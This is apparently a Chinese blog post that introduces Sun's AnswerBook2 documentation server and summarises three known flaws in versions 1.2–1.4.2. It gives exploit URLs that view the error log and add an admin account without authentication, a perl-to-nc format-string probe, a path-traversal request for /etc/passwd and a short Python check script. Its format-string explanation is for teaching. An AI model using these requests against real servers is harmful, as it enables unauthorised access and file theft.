AnswerBook简介
AnswerBook2 产品是 Sun 在线文档系统。它是一个基于客户服务器的系统,客户是任何一个 HTML 3.2-compliant 网络浏览器,而服务器是一个基于 httpd 的网络服务器。您可以在一个中央文档服务器或本地服务器上安装 AnswerBook2 文档集合。
AnswerBook2 管理特性
1、用客户服务器结构,您能将文档存储于一个单一位置(服务器)而从用户桌面(客户)访问。
2、提供命令行接口(ab2admin)和一个基于浏览器的界面(AnswerBook2 管理页),以便执行服务器管理功能。
3、能作为一个 CGI 进程在不同的网络服务器上运行。
4、通过打开或关上 AnswerBook2 调试功能,您能控制是否将错误用一个红色的 “BUG”,可见地显示给用户。
5、包括服务器访问和错误的记录文件。
AnswerBook2 零部件
AnswerBook2产品包括以下单元:
1、文档服务器-向客户浏览器执行查询功能并"服务 “文档。包括一个为查看及打印文档提供普通"查看并感觉"的模板;并提供网络浏览器和命令行管理界面,此界面执行数据库、口令鉴别和其它管理功能。
2、文档集合-可以是新的(SGML)文档或旧的( 显示附言TM)文档。有关在您的服务器上安装文档集合的信息,请参阅"安装文件集合”。
3、用户网络浏览器-用户能用任何 HTML 3.2-compliant 浏览器查阅文档。有关查阅文档的信息,请参阅使用 AnswerBook2 系统查看联机文档 - zh。 为了使用户能访问文档服务器,您需用联合命名服务(FNS)登记服务器或用户需知服务器的 URL。
AnswerBook2漏洞
1、未授权访问
受影响版本:Sun-AnswerBook2 1.2-1.4.2
攻击测试手段
http://服务器ip:8888/ab2/@AdminViewError
访问错误日志
http://服务器ip:8888/ab2/@AdminAddadmin?uid=foo&password=bar&re_password=bar
添加账户(密码)
2、远程格式化字符串漏洞
原理:理解printf()函数 和 %n
printf()输出函数
sanf() 输入函数
%n:输出%n之前字符的个数
正常的C语言代码如下,输出为5
#include <bits/stdc++.h>
using namespace std;
int main()
{
int n=5;
printf("%d",n);
return 0;
}
如果把输入权限交给用户的话
#include <bits/stdc++.h>
using namespace std;
int main()
{
char a[100];
scanf("%s",a);
printf(a);
return 0;
}
如果用户输入的字符串是"%x%x%x",输出为70ec48070ec60,为内存中的数据(内存泄漏)
%x:以16进制读取数字,由于没有数字,只能将内存地址读取出来
受影响版本:Sun-AnswerBook2 1.2-1.4.2
攻击测试手段
perl -e 'print"GET /";print"%x"x20;print" HTTP/1.0\r\n\r\n\r\n"' | nc IP地址 8888
造成内存地址泄露
3、任意文件读取
在请求包里发送
GET /../../../../../../../../../etc/passwd HTTP/1.1\r\n\r\n
可以看到文件内容。
参考POC:
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
flag = "GET /../../../../../../../../../etc/passwd HTTP/1.1\r\n\r\n"
s.send(flag)
data = s.recv(1024)
s.close()
if 'root:' in data and 'nobody:' in data:
return u"漏洞"
except:
pass
以上漏洞我还没有复现,只是理解个大概,后面有机会再复现。参考链接:https://blog.csdn/qq_33608000/article/details/104124248
更多推荐
漏洞利用——Sun-AnswerBook
发布评论